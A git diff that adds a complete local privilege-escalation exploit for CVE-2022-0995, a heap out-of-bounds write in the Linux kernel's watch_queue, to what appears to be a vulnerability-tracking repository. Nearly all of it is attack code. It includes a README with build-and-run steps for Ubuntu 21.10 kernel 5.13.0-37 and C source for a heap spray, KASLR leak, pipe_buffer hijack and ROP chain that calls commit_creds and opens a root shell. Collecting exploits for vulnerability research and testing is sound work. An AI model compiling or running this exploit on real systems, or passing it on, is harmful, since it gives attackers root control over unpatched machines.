diff --git a/cve/linux-kernel/2022/CVE-2022-0995/Makefile b/cve/linux-kernel/2022/CVE-2022-0995/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..8ea8c7b377aabdb6fc4330c958964fcd3c8f0e02 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/Makefile @@ -0,0 +1,10 @@ +CC = gcc + +all: clean exploit + +.PHONY: exploit +exploit: + $(CC) exploit.c util.c -o exploit -no-pie -static + +clean: + rm -f exploit diff --git a/cve/linux-kernel/2022/CVE-2022-0995/README.md b/cve/linux-kernel/2022/CVE-2022-0995/README.md new file mode 100644 index 0000000000000000000000000000000000000000..b2e5f7812e704b5997ed55faccd6d9cb67aa18f2 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/README.md @@ -0,0 +1,12 @@ +# CVE-2022-0995 +This is my exploit for `CVE-2022-0995`, an heap out-of-bounds write in the watch_queue Linux kernel component. +It uses the same technique described in https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html. + +The exploit targets Ubuntu 21.10 with kernel `5.13.0-37`. +The exploit is not `100%` reliable, you may need to run it a couple of times. It may panic the kernel, but during my tests it happened rarely. +```sh +make +./exploit +``` + + \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-0995/exploit.c b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c new file mode 100644 index 0000000000000000000000000000000000000000..4639a80367f1e9f1ff29837e7268a06cd9e2e8de --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/exploit.c @@ -0,0 +1,405 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include "util.h" + +#define MSGMSG_SPRAY 2000 +#define MSGMSG_FREE_IDX_0 0 +#define MSGMSG_FREE_IDX_1 1950 +#define MTYPE_PRIMARY 0x41 +#define MTYPE_SECONDARY 0x42 +#define MTYPE_FAKE 0x43 +#define PRIMARY_SIZE 96 +#define SECONDARY_SIZE 1024 +#define N_SOCKS 4 +#define N_SKBUFFS 128 +#define NUM_PIPEFDS 256 +#define CORRUPT_MSGMSG_TRIES 50 + +void shell(); + +// Ubuntu kernel 5.13.0-37-generic +// 0xffffffff813c6866 : push rsi ; mov edx, 0x415b00c3 ; pop rsp ; pop rbp ; ret +uint64_t PUSH_RSI_POP_RSP_RBP_RET = 0xffffffff813c6866 - 0xffffffff81000000; +// 0xffffffff8109507d: pop r12; pop r15; ret; +uint64_t POP_POP_RET = 0xffffffff8109507d - 0xffffffff81000000; +// 0xffffffff81095080: pop rdi; ret; +uint64_t POP_RDI_RET = 0xffffffff81095080 - 0xffffffff81000000; +// 0xffffffff81509a39: xor dh, dh; ret; +uint64_t XOR_DH_DH_RET = 0xffffffff81509a39 - 0xffffffff81000000; +// 0xffffffff815c0d54: mov rdi, rax; jne 0x7c0d41; xor eax, eax; ret; +uint64_t MOV_RDI_RAX_JNE_RET = 0xffffffff815c0d54 - 0xffffffff81000000; +uint64_t KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ = 0xffffffff81e0100b - 0xffffffff81000000; +uint64_t PREPARE_KERNEL_CRED = 0xffffffff810d45d0 - 0xffffffff81000000; +uint64_t COMMIT_CREDS = 0xffffffff810d4370 - 0xffffffff81000000; +uint64_t ANON_PIPE_BUF_OPS = 0xffffffff8223ffc0 - 0xffffffff81000000; + +uint64_t user_cs, user_ss, user_sp, user_rflags, user_rip = (uint64_t)shell; +uint64_t kaslr_base = -1; + +typedef struct watch_notification_type_filter wntf_t; +typedef struct watch_notification_filter wnf_t; + +int spray_qids[MSGMSG_SPRAY]; +int ss[N_SOCKS][2]; +int pipe_fds[NUM_PIPEFDS][2]; + +unsigned int real_idx = -1, corrupted_idx = -1; + +/* + spray using msg_msg +*/ +void spray_msgmsg() { + char buffer[0x2000] = {0}; + msg *message = (msg *)buffer; + + for (int i = 0; i < MSGMSG_SPRAY; i++) { + int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + spray_qids[i] = spray; + memset(buffer, 0x42, sizeof(buffer)); + + ((unsigned long*)message->mtext)[0] = i; + ((unsigned long*)message->mtext)[5] = 0x0; // later this will probably be a msg_msgseg.next, we want it 0x0 + + message->mtype = MTYPE_PRIMARY; + send_msg(spray, message, PRIMARY_SIZE - 0x30, 0); // Each queue has 1 96 and 1 1024 msg_msg + + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) + continue; + + message->mtype = MTYPE_SECONDARY; + send_msg(spray, message, SECONDARY_SIZE - 0x30, 0); // queue --next-> 96 --next-> 1024 <-queue-- + } +} + +void delete_msgmsg(int i, int sz, long mtype) { + char buf[0x2000] = {0}; + get_msg(spray_qids[i], buf, sz - 0x30, mtype, IPC_NOWAIT); +} + +void check_corruption() { + char buf[0x2000] = {0}; + msg *message = (msg *)buf; + + for (int i = 0; i < MSGMSG_SPRAY; i++) { + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1) + continue; + + get_msg(spray_qids[i], buf, SECONDARY_SIZE - 0x30, 1, MSG_COPY|IPC_NOWAIT); + + if (((uint64_t*)message->mtext)[0] != i) { + real_idx = i; + corrupted_idx = ((uint64_t*)message->mtext)[0]; + break; + } + } +} + +void cleanup_msgmsg() { + for (int i = 0; i < MSGMSG_SPRAY; i++) { + if(i == MSGMSG_FREE_IDX_0 || i == MSGMSG_FREE_IDX_1 || i == real_idx || i == corrupted_idx) + continue; + + msgctl(spray_qids[i], IPC_RMID, NULL); + } +} +/* */ + +/* + kmalloc-1024 spray using skbuff +*/ +int spray_skbuff(int ss[N_SOCKS][2], const void *buf, size_t size) { + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (write(ss[i][0], buf, size) < 0) { + perror("[-] write"); + return -1; + } + } + } + return 0; +} + +int free_skbuff(int ss[N_SOCKS][2], void *buf, size_t size) { + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (read(ss[i][1], buf, size) < 0) { + perror("[-] read"); + return -1; + } + } + } + return 0; +} +/* */ + +void build_msgmsg(void* msg, uint64_t list_next, uint64_t list_prev, uint64_t next, uint64_t m_ts, uint64_t security, uint64_t mtype) { + ((msg_msg*)msg)->m_list_next = list_next; + ((msg_msg*)msg)->m_list_prev = list_prev; + ((msg_msg*)msg)->next = next; + ((msg_msg*)msg)->m_ts = m_ts; + ((msg_msg*)msg)->security = security; + ((msg_msg*)msg)->m_type = mtype; +} + +void build_rop(uint64_t* rop) { + int k = 0; + rop[k++] = 0x0; // dummy rbp + rop[k++] = POP_POP_RET + kaslr_base; // skip pipe_buf->ops + rop[k++] = 0x0; // pipe_buf->ops + rop[k++] = 0x0; // dummy + rop[k++] = POP_RDI_RET + kaslr_base; + rop[k++] = 0x0; // rdi + rop[k++] = PREPARE_KERNEL_CRED + kaslr_base; + rop[k++] = XOR_DH_DH_RET + kaslr_base; + rop[k++] = MOV_RDI_RAX_JNE_RET + kaslr_base; + rop[k++] = COMMIT_CREDS + kaslr_base; + rop[k++] = KPTI_TRAPOLINE_POP_RAX_RDI_SWAPGS_IRETQ + kaslr_base; + rop[k++] = 0x0; // rax + rop[k++] = 0x0; // rdi + rop[k++] = user_rip; // user_rip + rop[k++] = user_cs; // user_cs + rop[k++] = user_rflags; // user_rflags + rop[k++] = user_sp; // user_sp + rop[k++] = user_ss; // user_ss +} + +void shell() { + syscall(SYS_execve, "/bin/sh", 0, 0); +} + +void save_state() { + __asm__( + ".intel_syntax noprefix;" + "mov user_cs, cs;" + "mov user_ss, ss;" + "mov user_sp, rsp;" + "pushf;" + "pop user_rflags;" + ".att_syntax;" + ); +} + +int main() { + // Assign to cpu 0 + cpu_set_t my_set; + CPU_ZERO(&my_set); + CPU_SET(0, &my_set); + if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set) == -1) { + perror("sched_setaffinity()"); + exit(1); + } + + save_state(); + + int fds[2]; + int nfilters = 4; + char buf[0x2000]; + char secondary_buf[SECONDARY_SIZE - 0x140]; + + // Filter setup + wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t)); + if (!filter) { + perror("calloc()"); + exit(1); + } + + /* + STEP 1 + Spray msg_msg: for each queue one msg in kmalloc-96 and one in kmalloc-1024 + Corrupt a msg_msg.mlist.next in kmalloc-96, so that two msg_msg points to the same msg_msg in kmalloc-1024 + */ + puts("[+] STEP 1: msg_msg corruption"); + + int ntries = 0; + + do { + ntries++; + + filter->nr_filters = nfilters; + for (int i = 0; i < (nfilters - 1); i++) { // choose kmalloc-96 + filter->filters[i].type = 1; + } + + // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned + filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024 + + if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) { + perror("pipe2()"); + exit(1); + } + + // Spray kmalloc-96 + spray_msgmsg(); + delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc + delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup + + // Filter go + if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) { + perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)"); + goto err; + } + + check_corruption(); + + if (corrupted_idx != -1) + break; + + cleanup_msgmsg(); + } while (ntries < CORRUPT_MSGMSG_TRIES); + + if (corrupted_idx == -1) { + puts("[-] couldn't corrupt msg_msg"); + exit(1); + } + + printf("[*] found corrupted msg_msg after %d tries. real: %d corrupted: %d\n", ntries, real_idx, corrupted_idx); + puts("[+] freeing corrupted msg_msg...."); + delete_msgmsg(corrupted_idx, SECONDARY_SIZE, MTYPE_SECONDARY); + + for (int i = 0; i < N_SOCKS; i++) { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { + perror("[-] socketpair"); + goto err; + } + } + + memset(secondary_buf, 0x42, sizeof(secondary_buf)); + build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, 0x0, 8192 - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(buf, 0x0, sizeof(buf)); + get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY); + + uint64_t primary_msg = ((uint64_t*)buf)[124]; + if ((primary_msg & 0xffff000000000000) != 0xffff000000000000) { + puts("[-] wrong heap leak"); + goto err; + } + printf("[*] primary_msg: 0x%lx\n", primary_msg); + + puts("[+] freeing corrupted msg_msg...."); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(secondary_buf, 0x42, sizeof(secondary_buf)); + build_msgmsg(secondary_buf, 0x4141414141414141, 0x4242424242424242, primary_msg - 8, 8192 - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + memset(buf, 0x0, sizeof(buf)); + get_msg(spray_qids[real_idx], buf, 8192-0x30, 1, IPC_NOWAIT | MSG_COPY); + + uint64_t secondary_msg = ((uint64_t*)buf)[507]; + if ((secondary_msg & 0xffff000000000000) != 0xffff000000000000) { + puts("[-] wrong heap leak"); + goto err; + } + printf("[*] secondary_msg: 0x%lx\n", secondary_msg); + + uint64_t fake_secondary_msg = secondary_msg - SECONDARY_SIZE; + printf("[*] corrupted secondary_msg: 0x%lx\n", fake_secondary_msg); + puts("[+] freeing corrupted msg_msg...."); + free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + build_msgmsg(secondary_buf, fake_secondary_msg, fake_secondary_msg, 0x0, SECONDARY_SIZE - 0x30, 0x0, MTYPE_FAKE); + + puts("[+] reallocating corrupted msg_msg...."); + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + puts("[+] freeing sk_buff...."); + delete_msgmsg(real_idx, SECONDARY_SIZE, MTYPE_FAKE); + + /* + STEP 2 + Spray struct pipe_buffer, leak KASLR while reading and freeing sk_buffs + */ + puts("[+] STEP 2: KASLR leak"); + puts("[+] Spraying pipe_buffer objs..."); + + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (pipe(pipe_fds[i]) < 0) { + perror("[-] pipe"); + goto err; + } + + if (write(pipe_fds[i][1], "A", 1) < 0) { + perror("[-] write"); + goto err; + } + } + + puts("[+] Leak+free pipe_buffer objs..."); + memset(secondary_buf, 0x0, sizeof(secondary_buf)); + + for (int i = 0; i < N_SOCKS; i++) { + for (int j = 0; j < N_SKBUFFS; j++) { + if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { + perror("[-] read"); + goto err; + } + + if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) + kaslr_base = ((uint64_t*)secondary_buf)[2]; + } + } + + if (kaslr_base == -1 || ((kaslr_base & 0xffffffff00000000) != 0xffffffff00000000)) { + puts("[-] couldn't leak kaslr"); + goto err; + } + + printf("[*] kaslr leak: 0x%lx\n", kaslr_base); + kaslr_base -= ANON_PIPE_BUF_OPS; + printf("[*] kaslr base: 0x%lx\n", kaslr_base); + + /* + STEP 3 + Reallocate struct pipe_buffer overwrite _ops pointer and do stack pivoting + */ + puts("[+] STEP 3: Stack pivot"); + puts("[+] Reallocating pipe_buffer object...."); + + struct pipe_buf_operations *ops; + struct pipe_buffer *pipe_buf; + + memset(secondary_buf, 0x0, sizeof(secondary_buf)); + + pipe_buf = (struct pipe_buffer*)secondary_buf; + ops = (struct pipe_buf_operations *)&secondary_buf[0x290]; + ops->release = PUSH_RSI_POP_RSP_RBP_RET + kaslr_base; + + build_rop((uint64_t*)secondary_buf); + + pipe_buf->ops = fake_secondary_msg + 0x290; + + spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)); + + puts("[+] Cleaning up msg_msgs"); + cleanup_msgmsg(); + + puts("[+] Releasing pipe_buffer objs"); + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (close(pipe_fds[i][0]) < 0) { + perror("[-] close"); + goto err; + } + if (close(pipe_fds[i][1]) < 0) { + perror("[-] close"); + goto err; + } + } + + return 0; + +err: + cleanup_msgmsg(); + return 1; +} \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-0995/poc.png b/cve/linux-kernel/2022/CVE-2022-0995/poc.png new file mode 100644 index 0000000000000000000000000000000000000000..4c18666c61e94241b2fa2101f833abcba272b2a7 Binary files /dev/null and b/cve/linux-kernel/2022/CVE-2022-0995/poc.png differ diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.c b/cve/linux-kernel/2022/CVE-2022-0995/util.c new file mode 100644 index 0000000000000000000000000000000000000000..051d36a5e9087c6a8f5fbafacbe91e1add8f95cf --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/util.c @@ -0,0 +1,32 @@ +#include "util.h" + +int32_t make_queue(key_t key, int msgflg) { + int32_t result; + if ((result = msgget(key, msgflg)) == -1) { + perror("msgget failure"); + exit(-1); + } + return result; +} + +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + ssize_t ret; + ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); + if (ret < 0) { + perror("msgrcv"); + exit(-1); + } + return ret; +} + +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg) { + return msgrcv(msqid, msgp, msgsz, msgtyp, msgflg); +} + +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg) { + if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) { + perror("msgsend failure"); + exit(-1); + } + return; +} diff --git a/cve/linux-kernel/2022/CVE-2022-0995/util.h b/cve/linux-kernel/2022/CVE-2022-0995/util.h new file mode 100644 index 0000000000000000000000000000000000000000..b8abd9f9c33960a25ecf6d4446db29e38d3255b2 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-0995/util.h @@ -0,0 +1,52 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct { + long mtype; + char mtext[1]; +} msg; + +typedef struct { + uint64_t m_list_next; + uint64_t m_list_prev; + uint64_t m_type; + uint64_t m_ts; + uint64_t next; + uint64_t security; +} msg_msg; + +struct pipe_buffer { + uint64_t page; + uint32_t offset, len; + uint64_t ops; + uint32_t flags; + uint64_t prv; +}; + +struct pipe_buf_operations { + uint64_t confirm; + uint64_t release; + uint64_t try_steal; + uint64_t get; +}; + +int32_t make_queue(key_t key, int msgflg); +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg); \ No newline at end of file diff --git a/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml new file mode 100644 index 0000000000000000000000000000000000000000..6cbe896836e21237d35ac9e0cb1ab2809da6bf8c --- /dev/null +++ b/cve/linux-kernel/2022/yaml/CVE-2022-0995.yaml @@ -0,0 +1,20 @@ +id: CVE-2022-0995 +source: https://github.com/Bonfee/CVE-2022-0995 +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: high + description: | + pipe的ioctl功能IOC_WATCH_QUEUE_SET_FILTER中存在堆溢出,可造成本地提权。 + scope-of-influence: + Linux kernel <5.17-rc7 + reference: + - https://ubuntu.com/security/CVE-2022-0995 + - https://nvd.nist.gov/vuln/detail/CVE-2022-0995 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2022-0995 + cwe-id: CWE-787 + cnvd-id: + kve-id: + tags: 内核越界,权限提升,cve2022 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index b545c6c0d076a40910ee56c0896906b08f4d6977..0da73d52db6244f5b65ee680cc5d7a3c19e91b04 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -1,3 +1,5 @@ #此收录漏洞列表为非openKylin发行版用例。 cve: + linux-kernel: + - CVE-2022-0995 cnvd: \ No newline at end of file